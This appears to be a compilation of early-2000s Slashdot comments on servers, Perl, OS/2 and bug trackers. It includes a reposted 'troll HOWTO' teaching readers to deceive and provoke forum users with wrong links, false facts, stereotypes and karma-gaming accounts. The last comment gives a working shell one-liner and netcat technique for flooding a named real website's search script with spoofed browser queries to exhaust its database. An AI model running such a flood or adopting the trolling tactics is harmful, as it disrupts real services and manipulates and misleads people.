I know of a HTTP Proxy by a large ISP that does user authentications & URL authorization (re: database), header manipulation, and on-the-fly text compression at 3000 urls/sec for 2000-4000 simultaneous connections and maintains that performance under load by sheding connections, all this on a dual 1GHz Intel PIII box running a Open Source OS that starts with "L". That is a maximum of 260 Million URL/day, three orders of magnitude greater performance than Ace's Hardware stats.
The simple answer to the question "How do I create a scalable fast network server?" is Event-driven GOOD & Threads BAD. Event driven network communication is two to three orders of magnitude better performing than thread/thread-pool based network communications. See Dan Kegel's C10K web page. That means you must use non-blocking IO to client sockets and databases. Once you accomplish that small feat, dynamic content just consumes CPU; with 2.8 Ghz Xeon processors you have plenty of cycles for parsing HTML markup or whatever. Threads cause cache thrashing, and context switching. While thread programmers don't see the cost in their code, just read the kernel code and you'll see how much work HAS TO BE DONE to switch threads. Event driven programming just takes some state lookups (array manipulation) and a callback (push some pointers onto the stack and jump to a function pointer).
Desgin is FAR MORE IMPORTANT than which runtime you use (execution tree, byte code, or straight assembly). I have done some very high load network programming with Perl using POE.
Python has Twisted Python
Java has the java.nio and the brilliant event/thread hybrid library SEDA by Matt Welsch.
I am also looking into the programming language Erlang which builds concurrancy and event driven programming into the language. Further, Erlang is used by some big telco manufacturers to great effect (high performance and claimed 99.9999999% nine-nines reliability on a big app). -
Perl Data Language for scientific workPerl really has come a long way from its scripting roots -- by itself, it's useful for "small to midsize" computing tasks (says the documentation) but the value of "midsize" keeps shifting to larger and larger things.
Perl Data Language (http://pdl.perl.org) is a set of C and FORTRAN bindings that make perl into a complete vectorized scientific-computing language that's useful for big tasks like inverting 1000x1000 matrices or fluid-dynamic simulation, but that can also be used interactively to work with image and spectral data.
That's neat because interactive data analysis is a pretty small niche market with a few proprietary (and, IMHO, seriously broken) languages dominating. With PDL, I can give fresh science data to high school students, straight from the spacecraft. Their L337 gaming machines are plenty powerful enough to run the tools they need, and perl is pretty much universal.
-
slashdot troll faq (posted by AnimeFreak)The
/. troll HOWTO
This is version 0.6 of a troll HOWTO, sort of a companion piece to jsm's excellent troll FAQ. As a draft, comments and criticism are always welcome, if not appreciated
:)
Section 1 - Trolling techniques
There are techniques used by successful trolls to elicit the maximum amount of responses from unthinking
/.ers. This section is dedicated to explaining how to use these in the course of your trolls. Remember though, a great troll can break any or all of these and still be successful...
- Timing
Because you're posting as an AC, your troll will generally be ignored in favour of posters using their accounts, and so getting in early is essential. A good guideline is to get into the first 20 posts, so that people reading the article will see the troll before it is swamped out. One way of increasing the speed with which you get your troll into play is to prepare them beforehand, and then quickly customise them for the current article. This is easier than it sounds since
/. typically repeats stories with small variations and runs lots of similar stories.
Note that this is why Jon Katz stories are pretty worthless as trolling material - by the time you've found the article and prepared a troll there's already 50+ posts on it, most of them flaming Jon Katz anyway
:)
- Exposure
Once you've got your troll in, you need people to actually read it. You also want replies -
/.ers are more likely to read your troll if it starts a large thread. You also want to remember that some people have set their comment thresholds to values higher than 0 - to get the attention of these you either want to get your post moderated up (see Style, below) or get a reply which gets moderated up to 4 or 5, in which case your troll becomes visible to all.
- Accounts
An alternative to the time-honoured tradition of AC trolling is that of creating a "troll" account. This gives you the advantage of posting at 1 rather than 0, and slashbots are more likely to take you seriously, especially if you at least sound reasonable. If you do this, try to avoid posting stuff where it is obvious you're a troll under the account - post it anoymously instead - some slightly more canny readers actually check your user info before they reply. Not many though
:)
The ultimate goal of the troll account is to secure the +1 bonus, which is currently received once you hit 26 points of Karma. To get there, employ the techniques of karma whoring that we see every day on
/. and watch the karma roll in. And of course once you get the +1 bonus, the world is your oyster in terms of /. Posts made at a default of 2 hit even those people with the threshold of 2, are more likely to get moderated up even further if they are at all coherent, and people tend to lose their critical thinking abilities in the face of the +1 bonus. Milk it for all it's worth.
- Layout
To get people reading it a troll needs to be easily readable. Make sure you break it down into easily digestible paragraphs, use HTML tags where appropriate (but always make sure you close them properly) and use whitespace appropriately.
- Size
Generally a troll shouldn't be too short, otherwise it'll get lost in the crowd. A workable minimum is a couple of medium paragraphs. Conversely, it shouldn't be too long, or no-one will bother to read it. Keep it to a happy medium.
- Spelling
Whilst spelling is important if you want the troll to be taken "seriously", key spelling mistakes can draw out the spelling zealots, especially if you mis-spell the name of a venerated
/. hero, like Linus Torveldes or Richard Strawlman (thanks dmg). Related to this is the use of the wrong word, explaining an acronym as being something it isn't or making a word into an acronym even when it isn't.
- Subject
The subject line needs to draw attention to your post without making it obvious that it is a troll. A simple statement of the main point of your argument can work here.
- Style
Once you realise that most moderators don't bother to read past the first paragraph or two, you can use this fact to craft trolls that can be moderated up as "Insightful" (note that I mean this in the
/. sense rather than the real-world sense). Start off fairly reasonable, making statements that are /. friendly and not being too controversial. As the troll goes on, make it more and more controversial, building it up for the coup de grace in the final paragraph.
- Linking
As we all know, a post with links is considered "informative" by the
/. crowd. Moderators love it, and they rarely check the links, so be sure to include as many as possible. And make them wrong - a link to the Perl website should instead point to the Python website instead, and vice versa. The other alternative to incorrect links is "useful" links to places like www.linux.org and www.microsoft.com i.e. places /.ers could never have found on their own :)
- Feeding
The ideal troll requires no feeding - it runs on its own, generating flamewars between clueless
/.ers for your amusement. But often a troll requires some help and so you should consider feeding it. Feeding is best reserved for people making either completely clueless responses, people making responses with holes in, or those wonderful people who write a 2000-word point-by-point rebuttal of your troll.
- Know your audience
Always keep in mind the kind of things advocated on
/. so that you can play on and against them. This is why anti-Linux, creationist, gun-loving, pro-corporation trolls work well - the vast majority of /.ers hold the opposite viewpoints. And if a few people agree with you, so much the better - it merely validates your viewpoint in the eyes of readers.
- Arrogance
Be arrogant. You, as a troll, know that you're right. No other explanation could exist. The wronger the "fact", the more assertively you should state it. Make it clear that you are better than everyone else - you know the truth and they are just too stupid to realise it. Use plenty of sarcasm, and use "quotes" to show it to people too dumb to realise.
- Offensiveness
Being offensive in your initial troll can be counter-productive - it causes moderators to mark you down as flamebait in general. But if you're feeding, then you can get away with calling
/.ers all kinds of things. Make broad generalisations
about /. readers - call them "long-haired Linux zealots", "socialist open-source bigots" or whatever. Stereotyping is encouraged - people always want to think that they're an individual, and will point this out to you given half a chance.
- Indifference
Great for articles with a political or social bent, this kind of troll expresses complete indifference to the topic at hand, wondering who on Earth cares about it. An alternative method is to say that the topic only concerns a certain group of people - criminals, idiots, hackers (always use this instead of crackers) or whatever group you want to offend.
- Sympathy
Appear to take the same stance as the people you're trying to troll - claim you're as much a fan of Linux as the next man, but... This way you can make all kinds of claims in the sure knowledge that you actually know what you're talking about. A great phrase to use here is "In my experience". Remember to act like all the things you're pointing out are unfortunate but true.
- The common touch
Always accuse
/.ers of being elitist. This is an easy thing to do seeing as a lot of them are. Claim that is their grandmother couldn't use it, then they are just into it to feel better than Joe Sixpack rather than "doing it for the average user". This is always great for working into anti-Linux trolls - attack command-line tools and poorly designed desktops.
- The 31337 touch
The opposite of the above. Claim that technology or whatever is only for the elite of society and that any attempt to open it up for everyone is wrong, an attack on intellectualism and possibly even dangerous. If people were meant to
understand these things then they would, and it's their fault if they're too stupid to learn.
- Contradiction
Never be afraid to contradict yourself, even in the space of a single sentence. The phrases "I am a top programmer who codes in VB" or "I am a supporter of open source who uses NT at work and 95 at home" will be sure to get a response from some weenie smugly pointing out the contradiction. Confuse the issue more by engaging in contradiction when you are feeding - this will confuse
/.ers who will then make even more stupid replies, leaving them even more wide open for response.
Clues
If you're feeling brave, give the reader clues that this is an obvious troll. The classic example here is dmg's stock phrase "I am often accused of trolling (whatever that is)", but also feel free to use phrases like "I have not read the article, and I don't know much about XYZ but I feel I must comment". If anyone responds to a troll with these kinds of clues in it, feel free to bask in the glow of knee-jerk
/. responses.
- Denial
If you're unlucky someone will accuse you of being a troll (surely not!) and try and ruin it for you. If you don't want it all to end there, then be sure to counter it by accusing them of being small-minded and petty, saying that it's easier for them to say it's a troll than to accept that people have different opinions. Be sure to say this in the subject line, especially if their subject was the infamous "YHBT. YHL. HAND."
- Claiming credit
Given that
/. has its community of regular trolls (hi guys!), it's only polite to publish your troll on one of the so-called "hidden" forums for all to see and admire. This way, you get to bask in the praise of other trolls, they get to contribute to your's if they want to, and you get an easy way to find the troll later on when you want to check on its progress :)
As for when to post it, that's a matter of opinion really. You can either post it straight away or leave it will after people start biting. Remember that the troll forum is also frequented by non-trolls, and sometimes you may get a self-declared "troll-buster" try and expose you. But remember,
/.ers always post before thinking, and often it doesn't matter at all.
There is no real current forum at the moment thanks to various spammers hitting the sids, but try trolltalk, the original troll sid started by 80md and osm way back in the day. Generally all postings are done there as an AC, with your name at the end of the post. Include a link to the troll somewhere in the text, which ideally will be directly to the post and its replies - click on the #XX link in the thread to get there.
- Ending the troll
Sometimes you just get bored with a troll, or people start posting genuinely thoughtful stuff in reply (it does happen). When this happens it might be time to own up to the troll with a helpful "YHBT. YHL. HAND." post. Sometimes people will carry on a discussion of the issue, and if you're really lucky (and it was a great troll) they will completely fail to believe you and carry on arguing. If that happens, pat yourself on the back for writing a great troll
:)
- The cheap $3 crack
Finally, when all else fails and your troll gets moderated down to (-1, Troll) within ten seconds of you posting it, the only honourable thing to do is to accuse the moderators of smoking the cheap $3 crack (again) and give up
:(
Section 2 - Types of troll
- The Maniac
Probably the most popular kind of troll, the Maniac holds an opinion on something, and won't budge from that opinion no matter what evidence to the contrary is presented. If challenged, the Maniac will simply get more and more agitated and abusive, deriding his opponents as "idiots", "wrong-thinking", "dangerous" and "subversive". Generally the Maniac takes a position that opposes the prevalent
/. beliefs, but a similar effect can be achieved by taking a typical /. viewpoint and pushing it to ridiculous
extremes.
Maniacs can be crafted for practically every article
/. posts, although some are more obvious targets than others. Civil liberty articles, especially on things like censorship, DMCA, UCITA that really get /.ers riled up, are usually extremely fruitful grounds for a well-crafted maniac. The other obvious type of article is anything which could possibly involve religion, especially evolution :)
Here are some fruitful avenues to explore:
- The right-wing
Always popular, the right-wing maniac (RWM) is a God-fearing, gun-toting, flag-waving American, and proud of it. They don't care about the rest of the world, unless it's to "prove" that America is better than everything else, and they cannot stand liberal whining over civil rights. They hate the moral decay of America and want it to revert into a nation of heterosexual, Christian whites like it was meant to be. Woe betide anyone that dares to suggest otherwise.
- Religion
There are two ways to approach this kind of maniac. The harder to pull off is the militant atheist, but this is quite common amongst
/. posters and you would have to be very offensive to get this to work. Of course with religion trolls, the argument can go on for ever once it's started... The more common approach is the Christian fundamentalist. They are ignorant, intolerant and bigoted in the extreme. For them the Bible is the inerrant word of God revealed to man - it contains no flaws and no contradictions. Thus they are strict Creationists - mentions of evolution or cosmology will set them off on vitriolic rants. Flaming denunciations of anyone daring to contradict the "Word of God" are the way to go, and any kind of proof can always be ignored by appealing to "secular humanist brainwashing". And let's not forget, the USA is the greatest nation on Earth because it has the righteous power of Jesus Christ behind it.
- Ideology
Pick a philosophy, any philosophy. This troll is a troll with a cause - they have found some kind of ideological truth, and are out to expose every other philosophy as a sham. Whether it be libertarianism, objectivism, communism or capitalism, this troll will point out the obvious "flaws" in any other philosophies, whilst spouting dogma about their own. And the best thing is - you don't even need to know that much about what you're spouting - making doctrinaire mistakes will get both sides of the argument flaming you, adding to the fun.
- Software
This is an old favourite and crops up in many forms, covering the gamut from OS maniacs (Linux zealots, MS-apologists or embittered BSD fanatics), language maniacs (Pascal vs. C, C vs. C++, C++ vs. Java, Perl vs. Python, VB vs. everything),
application maniacs(GIMP vs. Photoshop, Netscape vs. IE, vi vs. emacs) and also includes people who complain about how technology should only be for the 31337 hackers.
- Guns
Americans love their guns, and will always fight passionately for their Constitutionally guarenteed rights to bear arms and shoot people. Even the slightest hint of criticism of this will bring down the wrath of a thousand and one enraged gun-owners on you, so it's always a great point to work into a troll
:)
- The right-wing
- The Expert
The Expert is someone who is "savvy" in their particular field, and is perfectly willing to give their opinion on any topic even vauguely related to their field. The Expert is most likely to be from a field which
/.ers as a rule despise - the classic example is dumb marketing guy, but try consultants, lawyers, politicians, lobbyists, executives, journalists (just think Jon Katz). With this kind of troll sweeping statements with little content are the norm, along wire dire portents of future catastrophe and dark hints of "insider knowledge".
Some possible angles to exploit:
- Industry knowledge
The expert knows the computing industry from the inside - as a long-term pro, they can dispense knowledge knowing that they can "speak for the industry". Their smug self-satisfaction is bound to annoy, as is any suggestion that things aren't the way that
/.ers would like it - saying "Linux requires the rock-solid guarantee of a trusted company like Microsoft" or "Apache cannot be trusted for mission-critical enterprise platforms" is guaranteed to get you denials explaining exactly why you're wrong, in excruciating detail.
- Helpful hints
With their tech-savvy (or law-savvy or whatever) experience, the expert is obviously the best person to point out what's wrong with things or to give out useful "factual" information. In fact this probably works best with lawyer trolls - for all that
/.ers protest "IANAL", they certainly seem to think they could be, and any mistakes you make will send them rushing to prove themselves by correcting you.
- Industry knowledge
- Offtopic Trolls
Not really a "troll" in the strict Jargon File sense of the word, but they certainly should be included here
:) This category includes parodies, offtopic weirdness any all kinds of amusing stuff. Not really my area of expertise, this stuff is mainly done by gnarphlager and opensourceman. Thanks to gnarphlager for this section.
Offtopic trolls, like any other, come in almost as many colours as an iMac, but generally not as cute. But then again, a good offtopic "troll" can affect more people than a repulsive little gumdrop on your desk, because you need to have someone SEE your desk before they can react. Simple? Moreso than even my overblown prose could indicate. Some basic examples:
- The serial troll
Write a story. Keep expanding it. It doesn't matter what article you post it under, so long as it's high up. If you want people to recognize you, pick a couple themes or symbols, and carry them on throughout the story. Other alternatives include back linking or including the entire story, but adding more each time. Be funny if you want. Or if you don't feel like being funny, just be really weird. Someone will react.
- The random troll
This has nothing to do with anything. Be it a stream of consciousness rant, or a description of the corner of your desk. Another favorite is a monologue, read as if spoken from any one given entity to another. The more outlandish, the better (a pair of socks talking to a mousepad, for example). If you really wanted to be artsy, work in an actual metaphor or legitimate meaning behind it, but it's not necessary.
- The vaguely related troll
Start out with a comment about the article. Have a definite opinion of it. Then, after a little while, disintegrate into randomness. All roads eventually can eventually lead to cheese (yum), Natalie Portman, cannibalism, toasters, squirrels, futons, you name it. All it takes is a little bit of creativity. Oh, and feel free to use other trolls' motifs. Open source and all that
;-)
General tips:
- If it's funny for a fleeting moment, then it's worth posting.
- Puns. Puns are only less vile than mimes, but it's hard to mime on
/. So feel free/obligated to litter your offtopic and random bits with puns. Hurt the bastards. And if they're sick enough to laugh at them, then they'll eventually end up here ;-)
- Obscure cultural references and injokes are always good. SOMEONE will get them eventually.
- Several drafts of a serial or random post are common, but true elegance is being able to come up with something on the spot that still makes the top 40 posts (on a post-heavy article)
- The serial troll
Section 3 - Useful trolling links
The following links contain background information useful for trolls needing quick quotes and "expert" opinions to include.
- General purpose links
- ddi.digital.net/~gandalf/trollfaq.html - How to deal with USENET trolls - learn your enemy
:)
- www.don-lindsay-archive.org/skeptic/arguments.htm
l - A List Of Fallacious Arguments - Learn them and use them liberally - www.altairiv.demon.co.uk/troll/trollfaq.html - USENET troll HOWTO
- www.baiting.org - Baiting.org
- www.fieldingtravel.com/df/index.htm - Fielding's DangerFinder - A guide to what and where's dangerous
- ddi.digital.net/~gandalf/trollfaq.html - How to deal with USENET trolls - learn your enemy
- Religious links
- www.godhatesamerica.com/ - God Hates America
- www.chalcedon.edu/creed.html - The Creed of Christian Reconstruction
- www.demonbuster.com - How to cast out your demons and do spiritual warfare
- riceinfo.rice.edu/armadillo/Sciacademy/riggins/th
i ngs.htm - Things Creationists hate - www.icr.org/ - Institute for Creation Research
- www.xenu.net - Operation Clambake - The fight against Scientology on the net
- www.hom.net/~angels/ - Citizens for the Ten Commandments
- www.bju.edu/rcnbc.html - The difference between Catholics and Christians
- www.geocities.com/prazske00/biblequotes.html - Bible quotes by category
- www.godhatesamerica.com/ - God Hates America
- Political/economy links
- www.aynrand.org - The Ayn Rand Institute
- www.reason.com - Libertarian site
- www.freerepublic.com - Right-wing stuff
- www.jbs.org - Excellent site for all kinds of right-wingery
- www.dack.com/web/bullshit.html - Web economy bullshit generator
- www.aynrand.org - The Ayn Rand Institute
- Crackpot science links
- www.fixedearth.com - The Earth Is Not Moving
- www.jir.com/index.htm - The Journal of Irreproducible Results
- www.fixedearth.com - The Earth Is Not Moving
spiralx@spazmail.com
Copyright 2000 James Skinner - Timing
-
Re:Zope, Mailman, Apache/2, PHP-Nuke, Rsyncd
What a bunch of total crap. OS/2 was SMP enabled from 2.11 (or 2.1 I believe) and scaled almost flawlessly linear as the number of processors grew.
I have to back down on this one. As it turns out there are SMP enabled versions of OS/2. But this in turn brings up the question of what are we talking about? Standard OS/2 or OS/2 server? Because there's a huge price difference between the two.
Didn't know how to use REXX, eh?
I started using REXX in 1990 and it was my primary scripting language until I discovered real scripting
languages.
command line OS/2 was as much Unix like as you could want
OS/2's command line is no more powerful than the DOS command line. It pales in comparison to the UNIX shell, which is why several companies released enhanced shells for for OS/2.
used OS/2 for three 800 person 24-hour call centers
I developed for OS/2 over the course of 12 years at a factory with hundreds of OS/2 workstations. The stability of later versions of the OS/2 kernel is impressive: I've seen the kernel keep chugging along after the desktop hangs on a number of occassions. But what good is that when other layers of the system are so confounded that the only thing that solves the problem is a reboot?
So best of luck in your advocacy of a dying OS (and in the improvement of your manners) but I stand by my statement: OS/2 is not a good server operating system. -
Re:Show some initiativeNo, please don't use Bugzilla -- it's reputation far exceeds its actual quality. Bugzilla is an arcane, tightly bundled colledtion of hard to extend CGI scripts sitting on top of a bizarre MySQL schema. If it doesn't exactly meet your needs (i.e. you are not the Mozilla project), extending it can be a nightmare.
May I humbly suggest that you take a look at RT: Request Tracker instead. RT is a general purpose ticketing system, suitable not only for bug tracking, for for all kinds of organized message exchange within an organization (i.e. help desk, sales force tracking, some aspects of inventory management, etc). RT allows users to collaborate via a web interface, email, or the command line. By providing multiple interaction interfaces, RT encourages users to work with the system by communicating the way they would already, rather than working against them by forcing them to adapt to a wholly new system. If you don't like the web interface, feel free to change it. If it's still not enough, people can just use email instead -- just cc: your RT account on ticket related mails, and include the ticket number in the subject line. Hey presto, people can do almost what they were doing in the first place.
RT is written in clean, OO Perl making wise use of CPAN libraries instead of implementing everything from scratch. It will run on a variety of operating systems & databases (MySQL, PostgreSQL, Oracle). The system is well documented, easily extensible, and comes with a vibrant & supportive user community. It can even be integrated with things like pagers, so that the creation of critical tickets can send out a pager message to key personnel.
All in all, RT is a very nice, very well engineered system that IMO is far more suitable for most users than Bugzilla, for which the suitable scope is much more restricted. That's why RT is now being used in, among other places, Perl's bug tracker at rt.perl.org.
Disclaimer: My company uses RT, and I have met Jesse Vincent, RT maintainer, a handful of times, and even though I think it would be pretty cool if people switched to RT and bought support contracts from Jesse, I have nothing to gain if any of this happens. I just sincerely think that RT is better software than Bugzilla for almost all users, and would like to see development of the software continue to flourish and become accepted more widely. Spend a week messing around with RT and IMO you'll never want to go back to Bugzilla...
-
Maybe because...
The developer wanted to use ColdFusion, and not PHP. Don't get me wrong, I know and love PHP (not as much as I love Perl, mind you, but still.), but there are times when... a little diversity is a good thing. Say for instance, you're developing something with a team of people, none of which know PHP, but do know ColdFusion as a common language among them. Are you either going to try and teach them PHP (something they may not want to learn, if they haven't ventured off to do it on their own, yet) or just get the project done with ColdFusion. If it works, it works, and it's good. The first priority is getting the job done, then going over semantics. If the customer or supervisor wants the task re-done in PHP, over ColdFusion, then so be it. Different tools for different jobs, but keep in mind, There's More Than One Way To Do It .
:-) -
Re:So, we're back to the 60's.
Well, I do a lot of graphics editing, including resizing and thumbnailing images from digital cameras.
Welcome to the porn biz...
:)for i in *.jpg; do convert -resize 128x128 $i thumbnail/$i; done;
...where Bash and ImageMagick are your main advantage over the competition.(Using Perl and Image::Magick is the Next Level of being a Porn Wizard.)
-
The editor?
We don't need an upgrade to the editor, we need an upgrade to the scripting language/engine itself!
Come on, get rid of the slow, clunky, and limited thing that's there now and replace it with something decent, like perl. -
Re:A way to fight back?
I don't know enough about HTML/perl/etc., but there must be a way to set up a script to submit queries to the "Search this site" box that most websites have. Vary the query so it cannot be cached. Doesn't really matter if the search terms are meaningful.
/dev/random even. Just make thier Win2K/IIS server farm chug away on thousands of searches for hours.That's a very interesting idea.
Sticking with the X10 example, their search URL is http://www.x10.com/cgi-bin/search
/search_index.cgi?search=QUERY (without the space) so writing in your shell command line something like this, would do your trick:mercy_level=10; x10=http://www.x10.com; referer=$x10/products/products.htm; search=$x10/cgi-bin/search/search_index.cgi?searc
h ; agent='Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)'; for query in `cat /usr/share/dict/words`; do echo "*** Quering for $query:"; wget --user-agent="$agent" --cache=off --referer=$referer $search=$query --output-document=/dev/null; echo "*** Waiting ${mercy_level}s..."; sleep $mercy_level; done(again, it's a one big-ass line)
It searches X10.com for every word in the dictionary located at
/usr/share/dict/words, ignoring the results (or should I say, storing them in /dev/null?). It looks like MS Internet Explorer 5.5 under Windows 2000.It would be easy to write without wget, to just connect with their server, send the HTTP query and drop the connection after the first line of answer header (or maybe using HEAD instead of GET?) to save the bandwidth, but the bandwidth is not an issue here (however it's still interesting: netcat (a TCP/IP Swiss Army Knife) would work great for making raw TCP connections from the shell, but if you prefer Swiss Army Chainsaw instead, then of course Perl (with Socket or IO::Socket or LWP or LWP::Simple) is the tool -- again, There's More Than One Way To Do It).
This attack, unlike the one with downloading statical content, would be directed to their database CPU/RAM/IO resources.
Actually, why use wget (or anything else for that matter)? Here's a cooler idea: Run nc -lp 1234 and point your browser to http://localhost:1234/ to see how do your real HTTP queries look like. E.g. for my Mozilla it's:
GET / HTTP/1.1
Host: localhost:1234
User-Agent: Mozilla/5.0 (X11; U; Linux i586; en-US; rv:1.0.0)
Gecko/20020623 Debian/1.0.0-0.woody.1
Accept: text/xml,application/xml,application/xhtml+xml,tex t/html;q=0.9,text/plain;q=0.8,video/x-mng,image/pn g,image/jpeg,image/gif;q=0.2,text/css,*/*;q=0.1
Accept-Encoding: gzip, deflate, compress;q=0.9
Accept-Charset: ISO-8859-1, utf-8;q=0.66, *;q=0.66
Keep-Alive: 300
Connection: keep-aliveNow, we can just change Host to www.x10.com and "GET
/" to "GET /cgi-bin/search/search_index.cgi?search=QUERY" (and maybe add Referer header) and we have our HTTP query string, which after echo $http_query_string | nc www.x10.com 80 we have a response, looking exactly like a real browser (with JavaScript and downloading pictures turned off).Of course, don't do that, unless you think it is OK... I take no responsibility for anything anyone could do with anything at all.